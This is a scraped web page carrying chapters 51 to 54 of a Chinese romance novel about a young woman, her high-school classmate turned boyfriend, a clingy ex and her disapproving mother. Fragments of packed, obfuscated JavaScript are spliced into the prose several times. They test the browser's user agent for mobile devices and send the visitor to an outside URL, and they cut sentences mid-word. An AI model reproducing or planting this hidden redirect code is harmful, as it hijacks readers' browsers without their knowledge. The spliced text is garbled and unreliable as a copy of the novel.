0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15294967|157423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斐。”她说,“你发什么神经,我们不是分手了吗?” 宋玉津对这个名字有印象,乔迦茵的前男友,据说是个劈腿渣男。 “我不想分手。”汪斐突然靠近过来,朝着乔迦茵,表情诚恳地说,“我这些天一直在想你,我好想你……当时是我冲动了,宝宝,我那时候去刷约会软件不是真心想找别人,我只是……我只是想气气你。” “你太忙了,又总是一副……好像我可有可无的样子,我就想看看你会不会生气。” “提分手也是我说气话,结果你一点也不拒绝。” 乔迦茵无语道:“都快过去三个月了。” “我以为我们只是冷战。”汪斐执拗地道,“而且你还接了我的电话啊。” “谁和你搞冷战,1991年早就结束了。”宋玉津说。 汪斐瞥他一眼,还是讨好地看向乔迦茵:“我们好好谈谈,之前是我太冲动了。” “别谈了,不谈。”乔迦茵困倦道,“你赶紧走。” 汪斐年纪小,之前和她恋爱的时候就格外黏人,没事就要打电话那种,善于在乔迦茵的距离范围边缘来回试探,这一次也是。 总之,态度不坚决点的话,还挺难打发的。 而且乔迦茵隐约感觉到旁边的宋玉津心情已经阴云密布。 汪斐又看了宋玉津一眼。 “是我今天来的不是时候。”他意有所指道,“宝宝,你处理完别的事之后,记得给我电话。我微信已经把你从黑名单放出来了。” 真是离谱,乔迦茵看他走了,才开门进屋,无奈道:“不知道自说自话什么,我都没把他从黑名单放出来。” 她侧过身让宋玉津进来,然后探头看了一眼。次卧门开着,空的,她转头开心道:“贺白晓不在家——” “家”字都没落地,她手腕被抬起来扣住。 宋玉津将她按在墙上,另一只手抵着墙面托住她后脑勺,铺天盖地地吻了下来。 昨晚过后她还有点怕,下意识缩了一下,结果被他压得更紧了,很重很深地吻过来。 宋玉津吻得很急,动作甚至有些焦躁。乔迦茵喘着气,伸出空闲的那只手去抚摸他头发:“怎么了,唔——生气了?” 他埋首在她颈窝轻轻咬了几下,低声说话,语气有一点委屈。 “你接了他电话,怎么不告诉我。” 乔迦茵说:“就没说几句话呀,我才懒得理他。” “他还叫你宝宝。” ……因为这个生气吗? 乔迦茵忍着鸡皮疙瘩,说:“你也可以叫。” ……但是她觉得好奇怪啊!因为她和宋玉津认识太久了,以前做同学的时候就是互相直呼大名的,突然换这么亲密的称呼,感觉非常别扭。 宋玉津安静了一会儿,又低头开始一点一点亲她,从锁骨,沿着脖颈向上,迫使她仰着下巴,随后又上来亲她下巴,再到嘴唇。 他蜻蜓点水一样地啄了啄她,然后轻轻蹭着她的鼻子。 小声说:“宝宝。” “……”乔迦茵不自觉地抖了一下。 他一路亲到耳垂去,亲吻声清晰地响在耳边,直震大脑。 然后又轻轻念了一声,咬字温软:“宝宝。” 乔迦茵深呼吸,说:“我觉得还是不要……” “宝宝。”好像完全没在听,“迦茵。乔乔。宝贝。”念一个亲一下,然后眼睛沾着水光看着她。 乔迦茵被这一连串称呼砸得晕头转向:“你干什么……” “现在适应了吗?喜欢哪个。”他问。 “不回答的话,就一直亲你。” 51. 第 51 章 临圣诞那周,温见竹回来找乔迦茵吃饭。贺白晓临近论文答辩,已回了学校,不在乔迦茵这里住了。屋子突然又恢复到了自己的完全掌控之中,乔迦茵就约了温见竹来自己家里。 她在微信上抱怨过几句汪斐来纠缠的事,所以温见竹甫一坐下就关心地问:“那个汪斐最近没再找你了吧?” 乔迦茵摇了摇头。 “我拉黑了他电话。”她说着没忍住笑了,“后来他又来了一次,正好碰上贺白晓,然后贺白晓报警了,汪斐立刻溜了,再没来过。” 温见竹也笑了:“她怎么想到的。” “好像宋玉津吩咐的。” “他?” 乔迦茵还没告诉温见竹自己和宋玉津的关系。略作思索后,决定从假期的那次出行开始讲。 话才刚起了个头,宋玉津就赶到了。 他推门而入的时候,温见竹立刻露出了目瞪口呆的表情。 乔迦茵说:“也不至于这么惊讶吧?我跟你说过他会来。” “你是这么说过。”温见竹说,“但你没说他会拿着你家钥匙直接开门进来!” 宋玉津一边解开大衣一边向温见竹打了个招呼,望见她神情后,侧头问乔迦茵:“你没告诉她?” 乔迦茵:“我正准备。” 宋玉津点点头噢了一声,向温见竹言简意赅地宣布:“我和乔迦茵在一起了。” 温见竹还是一副石化模样,宋玉津俯身亲了亲乔迦茵,说“我放一下东西”,进了客卧。 他没和她正式同居,来这边也从不睡客卧,只是近期来得频繁,不知不觉间也零零碎碎留了很多衣服和杂物在她家,恰好贺白晓走了,乔迦茵就让他把那些都放在客卧,不要占据她自己卧室。 温见竹静止半晌后,沉痛反省道:“现在想想也不是无迹可寻,一直以来是我太粗心大意了。” 乔迦茵莫名道:“我们开始也才没多久啊。” 温见竹说:“但你这么多年来喜欢的都是这个类型的。”她总结,“擅长社交、爱搞幽默、有点小文艺、学生会主席。正好这个类型比较容易出渣男,所以你老是谈到很糟糕的人。” 乔迦茵回忆了一下,发现不无道理。 但她还是努力提出了一个反例:“汪斐就不幽默,也不是学生会的。” 温见竹见过汪斐,她迟疑了一下,说:“他有另外的特征符合。” “什么?”乔迦茵一头雾水地问。 “我以为你知道呢。”温见竹瞥了客卧关上的房门一眼,小声说,“汪斐有个动作,说话前一般会先笑,笑的时候很快地抬一下眉毛,和宋玉津特别像,他高中时候就有这个习惯。” 乔迦茵:“有这回事?” 这么一说,宋玉津好像确实会这样,至于汪斐,她对此人完全没印象了。 乔迦茵又思考了一会儿,说:“……但我肯定不是因为这个才和他们谈上的。” 难道她一直无意识地在找代餐吗? 温见竹耸耸肩表示:“现在我也说不准了。” 乔迦茵还是说:“应该不会吧。”她不觉得自己有对宋玉津感情深厚到那个程度。 温见竹观察力一向很强她知道,但这个细节听上去也太虚了,很牵强。 话说到这里,宋玉津从客卧出来了。 他向着餐桌走过来,瞥了她们一眼就抬眉笑了:“怎么都盯着我看,我脸上有东西?” 随后顿半秒,问乔迦茵,“你之前说想喝热红酒,我买了材料,现在给你们煮一点?” 乔迦茵好像在出神,等了一会儿才缓慢地说:“行啊,好的。” 温见竹也说:“谢谢。” 宋玉津转身去厨房忙活,温见竹向乔迦茵做了个“我就说吧”的表情:“就是刚刚那样,你看到了吧。” 乔迦茵:“……嗯。” 真是见鬼了。 等到吃饭时,温见竹提起她要回高中做分享一事,安排在下个月,期末考之后。 乔迦茵想起来早几个月前,学妹还为此邀请过她:“早知道你也去的话,我就答应下来和你一起了。” 宋玉津说:“校友分享讲座那个?我也答应了。” 乔迦茵恍然大悟:“你们两个不会就是最早答应回校分享的成功人士吧?” 宋玉津转头对温见竹说:“在座工资最高的人正在讽刺我们。”被乔迦茵白了一眼。 温见竹笑着说:“那乔迦茵你一起来嘛,回去逛逛也好。” 乔迦茵不置可否,说:“看我到时候时间安排吧。” * 他们吃完晚饭后,又窝在沙发上看了一会儿电视。等温见竹离开后,宋玉津收拾屋子,将沙发上乱七八糟的垫子一个个摆放整齐,发觉乔迦茵盘腿坐在旁边,膝盖上搁着一个软枕,手肘支在上面,撑着脸在看他。 她喝了几杯热红酒,不算多醉,但脸上泛着红,眼神黏糊糊的。 宋玉津微微叹了口气,到她面前,蹲下身轻声问她:“困了吗?” “没有。”乔迦茵和他对视,说,“刚才温见竹跟我说了一件事。你知道我的所有前男友,都有一个共同点吗?” “都是渣男?”他听盛霏提起过那个所谓的赌约。盛霏觉得自己不会马上分手,乔迦茵觉得自己不会再遇到渣男,结果是两边都输了。 乔迦茵摇摇头又点点头:“你猜为什么?” 宋玉津偏头想了想,起身坐到她旁边,说:“首先,是这个世界上糟糕的男的太多了,大大增加你遇到他们的概率,这不是你的问题。” 和温见竹那个理由截然不同,不过乔迦茵表示认可,抱着软枕往他身上靠:“其次?” “其次,你脾气不好,身上有一种……接近坏人的气质,好像随时会走入歧途一样,还喜欢追求感官刺激。那些糟糕的男的,容易被你的这些特点吸引。但是这也不是你的问题。” 乔迦茵:“黑魔仙气质。”感觉身后靠着的人微微僵硬,她说,“我一直当作这是你对我的赞扬。” 按照先抑后扬的常规定律,接下来他就要说到她自己的原因了。 “最后,你对他们的感情并不深,可能只停留在浅浅的喜欢,态度并不多么认真,没有把他们放在心上。”宋玉津说,“有些人发现了你的不专心,就变态了,报复性地故意去做伤害你的事情。这个,其实还是他们的问题,不是你的错。” “我知道。”乔迦茵说,想了一会,“你说得很对,我确实没有那么喜欢。” 所以每次分手之后,她虽然有点伤感,但那情绪一霎眼就过了,不会持续很久。 反而是高中时候和宋玉津错过的怅然情绪滞留了许多年。 她问身后的人:“那你呢,你会觉得我不够专心吗?” 她等了一会儿,没听到回答,于是转过脸去看他。 宋玉津低垂眼睛,望着她没说话。 乔迦茵怔了怔,心头滋味难以言喻,强调道:“我很专心的,至少现在。” 宋玉津轻轻“嗯”了一声,把她拉进自己怀里,说:“可能是我比较贪心吧。” 乔迦茵察觉他有些失落,但直白袒露感情实在不在她擅长的范畴里,便撑起上身去亲了亲他喉结,仰头问:“要做吗?” 宋玉津看了她一会儿,低头吻下来。乔迦茵跨坐在他腿上,仰着头承受他的吻,断断续续地去解他衣服扣子,他的手已经直接从她衣摆下面伸进来。 酒气熏得人身体软热,接了一会儿吻,宋玉津很重地喘了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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乔慕若有所思道:“她确实成绩一向不太行。” “是吧。” 这个话题结束,母女之间没有其他事好汇报,就此挂了电话。 乔迦茵发觉她妈年纪上去了之后,比以前好糊弄得多,态度也不像从前那样说什么都咄咄逼人,惹得乔迦茵每次一和她说话都非常紧张。可能是强大如乔女士也无可奈何地随着年龄增长而变得迟钝起来,也可能是时间长了,她自己面对母亲的心理发生了变化。无论如何,这一发现令她心情莫名有些感伤,放下电话后也睡不回去了,坐在床头刷了一会儿手机。 等她发现手机,才发现宋玉津不知何时醒了,枕着手臂看她。 乔迦茵低头轻声问:“吵醒你了?” 宋玉津没答这句,他刚醒,声气柔软地问她:“你妈妈的电话?” “嗯。” 他安静几秒,问:“你为什么说没有在谈恋爱?我们不算吗?” 个中缘由乔迦茵觉得很难解释,但她还是顿了顿,硬着头皮坦承道:“我妈很挑剔,对我的选择格外喜欢指指点点,总有不满的地方。她嘴巴比我还毒,不近人情,我目前还不太想应对这个。” 宋玉津轻声道:“那你什么时候才会准备好呢?” 他语气还是很温和,表情甚至是带笑的,但乔迦茵察觉到他情绪失落,只觉得有点茫然,心里想什么就说了出来:“我们才开始没几天吧,有一个月吗?” “从我们上//床开始算,就有三个月了。”宋玉津说,说完似乎也觉得自己语气不似平常,低下头避开了她视线,把脸在枕头里埋了一会儿,抬起头说,“对不起。” 他说了对不起,乔迦茵反而觉得委屈,问:“你在对我生气吗,宋玉津?” 宋玉津看了她一会儿,说:“对。” 52. 第 52 章 那天宋玉津还是陪她起来吃了一顿早午饭,一起收拾了房间,散了会儿步,看上去不像是多么生气的样子。 但他们沿着江畔散步的时候,他对乔迦茵说:“我们交往的事,你没告诉温见竹,也不告诉你妈妈,是不是觉得我很拿不出手。” 乔迦茵立刻说:“不是。”不论主观还是客观角度,宋玉津都相当拿得出手。 “那就是你心里觉得,我们说不准很快就会分手,所以暂且觉得没有把我们的关系告诉别人的必要。”宋玉津说。 “……不是的。”乔迦茵嘴上这么说,实际上也难免心虚。 她确实有这一层考虑,但,“我不是觉得没有必要。” 她的确觉得这段关系尚且很脆弱,不主动去说,实则是害怕任何外来因素动摇到它。 乔迦茵伸手去抓他的手,被宋玉津反握住了。 他双手将她的手包裹在掌心,手指温柔地摩挲过她手背,然后望着她的眼睛说:“乔迦茵,我很喜欢你。” 乔迦茵轻轻“嗯”了一声,说:“我知道。我也喜欢你。” 宋玉津沉默了一会儿,说:“是喜欢和我做,还是喜欢我?” 什么乱七八糟的,乔迦茵说:“喜欢你。” 宋玉津又问:“是真的喜欢我,还是,只是因为以前我们错过了,所以不甘心,始终想要得到?” 乔迦茵怔住了。她第一次听到这个说法,太模糊的概念,在她眼里根本是同一件事:“这有区别吗?”她想起来很早之前的那个夜晚,在她简单粗暴地将对宋玉津的欲//望归为“想要得到”时,他曾经给出的回答,“你那时候说,‘这个也行’。” 宋玉津背后是被风吹皱的水面,他在江风中冲乔迦茵笑了一下:“所以我说,我也比较贪心。” 乔迦茵不知道该如何回答。其实仔细回想,她过去的那些男朋友们似乎也明里暗里提出过这样令人困惑的需求,说什么感觉她始终很遥远云云。她从没放在心上,只当他们是文艺病犯了。 但是她不太想看到宋玉津这副表情,眉眼依然是很好看的,氛围却令人觉得萧索。 她没说话,宋玉津反倒是又捧起她的手亲了一下,说:“没什么。不过你记得,我是非常认真的。” 乔迦茵偏头打量他神情:“我们……下周还出来吗?” 宋玉津温和道:“下周你不是要回外婆家吗?” 噢对,她差点忘了。 “那下下周?” 宋玉津“嗯”了一声,乔迦茵觉得他在含糊其辞,又拽了一下他手。 宋玉津捏了捏她手掌,将她的手松开了,说:“我先回去了。” 在这之后,乔迦茵独自吹了一会儿江风才回家。她想起先前在邻省的时候,宋玉津莫名其妙地觉得自己有自杀倾向,还跑来拦她。实际上,一直以来她时不时的确是有厌世逃避的想法,但离实际执行还有些距离,不知道宋玉津怎么看得出来的。他总是很知道她。 而且,因为她动不动就生气翻脸,宋玉津总是非常擅长哄她。 可是她现在才恍然发现,因为宋玉津是个脾气太随和的好人,换作宋玉津生气的时候,她居然束手无策。 她不知道该怎么哄他。这一点又让她自己极其恼火。 * 等到次个周末,乔迦茵如约和乔慕一起回了外婆家。贺白晓一家也在。 她和乔慕来得迟,进门就开饭了,餐桌边对上贺白晓眼睛的刹那隐约预感不妙,好在后者表情冷淡地哼了一声,没有问好,随后被她自己母亲乔霁警告性地拍了一下肩膀。 乔迦茵刚松一口气坐下,乔霁就开口笑道:“迦茵来了,之前贺白晓多亏你照顾。”又望望她身旁,“怎么没带男朋友回来看看?害羞吗?” 乔迦茵还没出声,乔慕先代为回答了:“我问她了,她说没谈。” 乔霁朗声笑起来:“姐你也真的是,她说没谈就真的没有吗?年轻人有自己秘密的。” 说着还向乔迦茵眨了眨眼睛,眨得乔迦茵心头鬼火直冒。她垂下眼睛去瞥贺白晓,对方视而不见。 乔慕淡淡说了句“是吗?”,没再接续这个话题,显而易见地不高兴了,面色有些沉下来。 外婆坐在桌子主位,闻言看着乔迦茵乐呵呵地说:“小茵谈对象了吗?什么人啊?” 乔慕转脸看她了,乔迦茵如芒在背,挣扎一会儿,还是说:“没有的事。” 贺白晓在旁边又轻轻嘁了一声,眼睛盯着电视,不看这里。 外婆说:“那要多接触啊,你年纪也不小了。” 乔慕握着筷子插话道:“还是宁缺毋滥的好,她性格一直有点孤僻,不知道会不会看上什么不三不四的人。” “也不能这么说,小茵从小就很聪明的。” 乔慕想了下,当机立断地说:“我看还是从我这里找比较靠谱。下周我就去问问身边同事和客户,有没有合适的男孩子介绍。至少大家都知根知底的。” 乔迦茵越听越心烦,碍于外婆生日不好发作,低头去看手机。 这些天没和宋玉津见面,他果然还是有点意见,给她发消息频率都少了,话里藏着点情绪在。 比如说中午吃饭,只发了三个字【吃饭了】,不像平时会详尽透露自己吃了点什么并且有何感想,如果吃得比较好,还会给她发送图片一张。 但这几天都只有【吃饭了】。 乔迦茵还回了他:【饭呢】 宋玉津胡说八道地回答:【不吃了,喝西北风也能活】 比如说晚上临睡前关心她,也充满了怨气。 宋玉津:【明天冷空气降温,你记得多穿点】 乔迦茵说:【好,你也多穿点】 宋玉津回:【无所谓,我会冻死】 诸如此类精神不正常式的对话已持续一周,疑似在对她发脾气。 晚上他没发新的消息来,乔迦茵往前翻聊天记录看了一会儿,无语的同时又觉得好笑,只能低着头隐藏笑意。 乔慕皱着眉头打量她,指责说:“大家吃饭,你别老是玩手机。” 乔迦茵就把手机放下了。 她默默吃了一会儿,听席间长辈聊天,觉得实在没什么意思,起身说:“我去打个电话。”就径自握着手机到阳台去了,把玻璃门反手一关。 给宋玉津拨了一个微信电话,没接。退出去直接给他手机拨号,也没接。 乔迦茵有一点恼怒,给他发消息:【去哪了?】 然后又自问自答一样:【不见了】 屋外挺冷的,这两天大降温,夜晚气温四五度,郊区风还大。 乔迦茵把手机揣进口袋,在阳台上来回散了一圈步,再拿出手机,消息框一点动静都没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15310809|157423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有。 她本就心情不佳,这下真是有些愤怒了,又看了好几眼手机,转身回屋。 她离开饭局的时机十分突然,眼下回来也显得格格不入,一时间大家都看着她。 乔慕盯着她问:“你给谁打电话去了?” “没谁。”乔迦茵说。连她电话都不接。 乔慕又说了一遍:“乔迦茵,你给谁打电话去了?” 这一遍语气重得明显,其他人都立即噤声,有些仓皇地看着她们俩。 乔迦茵将嘴里那口饭咽下去,搁了筷子。 “刚才骗了你们,我的确在谈恋爱。”她说,音量不大不小,清楚得让所有人都听见。 乔慕冷声连番逼问:“你刚才怎么不说?遮遮掩掩的,对方是什么人?是不是贺白晓她说的那个?” 乔慕气场太强,贺白晓被点到名字,抬头紧张地看了她一眼,不敢说话。 乔迦茵忽略其他问题,说:“高中同学。” “你哪个高中同学?家里做什么的?” 乔迦茵真心觉得这些问题毫无意义,反问她妈:“你问这个有什么用,你记得我哪个高中同学的名字了?你关心过吗?” 乔慕怔了怔,张嘴要继续说什么,外婆打断了。 “小茵原来找了男朋友,这是好事啊,下次最好能带人回来见见。”她用满是皱纹的眼睛温和地望过来,“总觉得你一个人在外面住,工作又忙,太辛苦了,有个人照应着也好。” 这话暗里有批评乔慕的意思,乔迦茵看着外婆,还是觉得郁闷:“我一个人并不辛苦,谈恋爱也不是为了找人照顾。” 乔慕也好外婆也好,讨论她的配偶时,好像在为她担忧为她着想,实则都丝毫不关心她真正的内心想法和感受。 “好好好。”外婆只是顺着她说。 氛围稍作缓和,大家立刻聊起了其他家常话题,默契地避开了乔迦茵的对象之谜。 晚饭过后,乔慕收拾了桌上碗筷,去厨房洗碗,叫乔迦茵进去。 乔慕拧开水龙头,水流声在寂静中尤其的响,夹杂着胶质手套摩擦碗碟的涩然声响。 乔慕低着头没看她,平静地问:“你之前不想告诉我,是觉得我会不同意?” “不是。”乔迦茵靠着门框静了很久,说,“我只是怕你。” 长久以来她和母亲形成和平而淡漠的疏离关系,实际上是她的自我保护机制,因为不想被乔慕评点和审视,才始终不想被乔慕知道太多自己的私事。本质上,她还是很害怕自己无法让母亲满意,所以连私人感情也不吐露半分。 现在既然说出来了,发现也没那么可怕。 摩擦声顿了一下。 乔慕说:“高中同学,是你当时写检讨的那个?” “是。”说到这个乔迦茵情绪变糟了,“你看完了也不和我说一声,跑去和别人说。” “你姨妈又不是别人。”乔慕下意识反驳她,随后软下语气说,“我帮你整理房间,无意翻到的。不知道怎么跟你说。” 她将洗好的碗碟一个个放回架子上,乔迦茵伸手来帮忙,被她避开了:“你站那就行。” 摆完那些,又问:“你们是高中就在一起?” 她问得轻,乔迦茵一开始没听清,过一阵才反应过来。 乔迦茵心头莫名有些酸涩,说:“不是的。” 53. 第 53 章 到了晚些时候,宋玉津打了电话回来。 乔迦茵没接,给他发消息:【不方便】 是真不方便。外婆家房间少,她和乔慕得睡一间房,屋里漆黑一片,乔慕已经睡了。 宋玉津就回她:【没有不见,刚刚在加班】 乔迦茵随便和他聊了两句,没说到自己今晚向家人单方面官宣的事,顶不住困意,放下手机就睡了过去。 时近年底,工作渐少,一是大多数人都在清年假,二是大家都想着剩下的事务拖到下一年再作处理。乔迦茵这周明显感觉到清闲,周遭工位空了大半。但她刚入职不久,年假折算下来也就两天,少得尴尬。 她有意凑个周末,发消息问宋玉津接下去日程安排。 他回她:【周末没定,不过周五我请了假,回高中做分享,你忘了?】 还真忘了。 宋玉津又发:【上次叫你一起,你也没答应】 乔迦茵对回高中一事兴致缺缺。在当时作为头等重要任务的高考,如今听来已很遥远,而她即便当初性格高傲,行事叛逆,在市重点学校里特立独行,这么多年来也按部就班地拿到学位、步入社会,成为了芸芸众生中的一位平凡人,享有庸俗的烦恼,谈不上失败,却也不够格冠以成功。十七八岁时以为唾手可得的理想生活,现在看来依然一如明月高悬。 再回头被朝气蓬勃的好学生们包围,徒增怅然耳。 何况,她也不怎么想见到闫倩这类恩师。 乔迦茵回他:【感觉回去没什么意思】 宋玉津:【不想见我的意思】 他又发神经了。乔迦茵回了一个“你说什么就是什么”的表情包,懒得理会。 不过乔迦茵还是把周五周一的假请了,有假不请是有病。 到了周中,温见竹突然打了电话来,说她周五临时有急事要出市,无法如约回高中。但答应好的讲座,早已经向校方预定下时间,只能请乔迦茵暂代。 恰好她有空,乔迦茵琢磨一下,说:“也行,那我上去就说我是温见竹,然后讲述你的人生经验。” 温见竹骂:“我明明是请你分享你自己的事情。”笑了一会儿又说,“你现在这种剑走偏锋的答复方式有点像宋玉津了。” 聊几句后,温见竹说:“那我把组织活动的学妹联系方式发你。” “孙沁吗?我有她微信的。” “哎,那更方便了,我已经跟她说过会找人替我。” 孙沁果然非常欣喜,不过当乔迦茵提出“我直接朗读温见竹的稿子”方案后还是委婉地表达了异议:“既然温学姐来不了的话,学姐你就讲讲你自己的经历吧。” 乔迦茵坦诚道:“我的经历不值得分享,升学、求职每一步都很常规庸常,行业上也和其他人有点重复了。” “这个无所谓。”孙沁道,“或者你讲讲一些高中至今的感悟体会也好,不用特别正式。” 再推三阻四也没意义,乔迦茵应了声“好”,然后又说:“我要来的事,先别告诉其他人。”听温见竹说,除了宋玉津以外,应该还有三、四个分享的校友。 “啊?”孙沁茫然道,“我都准备拉你进群了。” “不要拉。”乔迦茵说,“尤其不要告诉宋玉津。你们打算在校门口集合一起进去吧?我到时候单独过来,不用等我,该讲的时候你给我发消息,我会来的。” 刚婉拒了和他一起回高中的提议,现在又突然答应回去分享,要让宋玉津知道,这个人最近还在怨气之中,指不定要怎么蛐蛐她。 索性给他个惊喜好了。 孙沁沉默一会儿:“……学姐,你是和宋学长有仇还是?” 乔迦茵含糊其辞:“嗯,对,是的。”怎么不算呢。 * 校友讲座定在周五下午的班会课,乔迦茵料想他们一行人会午休时间进校,顺便见老师叙旧,她有意避开,等午休快结束时才到达学校。 明雅校园一如从前,红砖绿瓦,银杏树到了落叶的时节,枝头像扯烂的流苏,散落的叶片在地面织成大片金黄的锦,有风时三两叶片被脆弱地吹起,在半空中旋转。 乔迦茵没怎么迟疑,随意踏上了教学楼的台阶,往曾经的教室走去。 刚要走近,就瞥见对面楼梯有几个人影上来。 乔迦茵远远认出宋玉津侧脸轮廓,立刻隐到楼梯角落里。 应该是另一个人在说话,聊的是高中时候的旧事,宋玉津侧着头在听,偶尔淡笑着对答几句。 走到四班教室这边,宋玉津似乎停了一下。 有人想到什么,说:“哎,你之前是四班的吗?” “是。”宋玉津答,“就在这个教室。” “欸,我记得你们那届高考的第一名就出在四班吧?”那人随口问完又想起,“噢不对,你那时已经出国了,大概不知道。” 宋玉津温声说:“知道的,我有听说这个。”他不知想到什么,低头笑了一下,说,“她确实很厉害。” 几个人在教室外张望了一阵,那个人又以一种造作的感伤语气说:“站在这里是不是觉得充满了回忆?青春啊。” 乔迦茵实在受不了,翻了个白眼。 她怕宋玉津真要正经回答那个人什么,他偶尔是有点文艺病在身的。 幸好宋玉津说:“走了,人家在上课,我们别打扰。” 上课?她就说教学楼怎么这么安静。 乔迦茵皱着眉头思考一会儿,总算想起,学校周五的午休时间安排和周一至周四不同,午休结束得更早。 所以这群人是已经拜访过老师,在校园里随处乱转。 他们径直往这边楼梯走来,大约是要下楼,乔迦茵听到脚步声越来越近,赶紧往楼上走。 她扒着扶手,俯首从间隙中望见他们果真在往下走,宋玉津在看手机,像是微信界面。 随后她自己手机屏幕一亮,跳出一条新消息。 宋玉津:【在高中,他们聊到你了,大名人】 就讲高考的那么一句,这也算聊到吗?要不是刚听了对话全程,她还真信了。 乔迦茵回他:【你天天夸大其词】 她发完又低头去看,宋玉津果真还在对着自己的对话框输入。 宋玉津:【冤】 乔迦茵:【能不能说一些真诚朴实的好听话】 宋玉津:【好的,收到】 这几个人走到一楼后出去了,她在楼梯上面看不见人影。 宋玉津还在给她发消息:【今晚是不是没有事?吃饭吧】 乔迦茵转身到走廊上,从窗台向外望见他们在往食堂那边走去。 乔迦茵:【没空】 宋玉津:【我记得你今天休假了啊】 乔迦茵:【有约了】 宋玉津那边沉默了一会儿,乔迦茵猜想他是不是有点生气,探头出去,只看见他边走路边摆弄手机的背影。 好像是有点不爽了,头顶那撮毛稍微翘起来了。 宋玉津下一句问:【约在哪里?我晚上可以接你】 乔迦茵慢腾腾地打字:【我们高中附近】 翘更高了。 宋玉津脸上大写的郁闷,其他人的谈话也没参与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15340007|157423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,专注于变着方法质问乔迦茵“既然晚上会来高中这边怎么不肯和我一起过来”一事,来回发了好几条消息,才发现周遭不知何时安静下来,大约之前的话题告一段落。 那位年长一些的校友看了看他,了然道:“和女朋友发消息?吵架了?” 宋玉津“嗯”一声,然后说:“没吵架。” 乔迦茵单方面戏弄他,他在表达不满,显然乔迦茵也没生气,只是寻他开心,这当然不是吵架。 一行人迈入食堂,与此同时,乔迦茵折身向操场走去。 他们也估算错了时间,等人齐了再进入校园时,发觉午休已过去一半时间,怕下午上课后老师们都不在办公室,故而先去拜访了各自的几位老师,现在才回来吃饭。 学校食堂变化极大,多年过去更新了许多新窗口和菜式,几人点餐后寻了座位坐下。 有人说:“哎,面食那个窗,我以前天天来。” 孙沁道:“我以前好像爱吃最左边那个。” 几人共同抒发了一下怀念之后,宋玉津无奈道:“我以前老是点外卖。” 话音未落,他桌上手机又亮了。 乔迦茵:【想喝水果茶今天】 宋玉津打完“想喝哪家”,决心不惯着她,删去最后两字重新输入:【想喝自己点】 乔迦茵在赤红跑道上停步,回复他:【你想喝吗?我给你也点一杯】 看来是晚上再买,到时候带给他一杯的意思,宋玉津答:【行啊,和你一样的就行】 那边回了个OK手势就没了声音。等到吃完饭,宋玉津又觉得不对。 他往回看聊天记录,总觉得乔迦茵发的问句不像是将来时。 他思索片刻,问她:【你现在在家吗?】 乔迦茵暂时没看到消息,她正在侧门隔着栏杆取果茶外卖。 两杯放在一个袋子里,她取了一杯出来,噗的一声插入吸管。 她本想去体育馆旁边,以往她和宋玉津吃外卖的地方坐会儿,结果发现有学生在里面上体育课,她一介外来人士明目张胆,影响不好。 只好喝着果茶向前,一路走到体育馆后方。 这边有块留言墙,一开始只是几个爱玩的学生在上面用粉笔头涂鸦、抄了些网络小说的句子上去,因为没什么人管,后来者愈来愈多,一整面墙上,颠三倒四的诗句、数学公式、狂野的厌学情绪宣泄、到此一游、永远支持某某爱豆,什么都有。之前她和宋玉津等外卖无聊的时候,会来这里随便看看消遣。 乔迦茵向来是浪漫过敏体质,一些表意模糊生涩的句子,她会毫不留情地指出批评,看不明白的就对宋玉津说:“搞不懂在写什么。” 那些话她说完就忘了,眼下再回头来看这面墙,大半都没了印象。 但有一条,她确信自己从没见过。 有个人临过帖,写字总是龙飞凤舞,写作文的时候像要从方格里挣脱出来一样,能把她笔画繁复的姓名写得相当漂亮。用粉笔板书的时候,字迹反倒会端正一些,像是印出来的标准行楷,便于让其他学生辨认。 毕竟,他那时候要在黑板上写每周的地理作业。 这个刚刚还在和她发消息,一周以来处在别别扭扭地撒娇状态之中的人,原来早在很多年前的一个夜晚,在留言墙上给她留了一句话。可惜她在他离开之后,没了参观他人留言的兴致,始终未能发现。 ——不要被打倒。 啊,还有这回事。 乔迦茵蹲下身,望着这写在略下方的五个字,心想。 这不是会说吗?真诚朴实的好听话。 54. 第 54 章 【不在】 宋玉津看了一会儿这条极其简单的回复,转身望望周遭。除他以外还有三名校友分享,再算上孙沁,一共是五个人。 原定还有温见竹,她有事来不了。 但听孙沁先前和学生处老师交流,总时长没有变化。 几人正在演讲厅调试音响设备,宋玉津扫了一眼门口告示,状似随意地走到孙沁旁边,低声问她:“我们是五个人按顺序分享?” 孙沁在给话筒装电池,不假思索地说:“嗯,是啊。” “但温见竹不在。” 孙沁愣了两秒,立即抬起脸看他:“……哦,是的,是四个人。” 她自己说到后面,也心里没底,语气发虚。 帮忙协调设备的老师闻言,疑惑地插话进来:“嗯?之前说是五个人啊,让我们准备五个麦。” 孙沁:“……” 她露出茫然无措的表情,转去向设备老师解释,“的确是五个。” 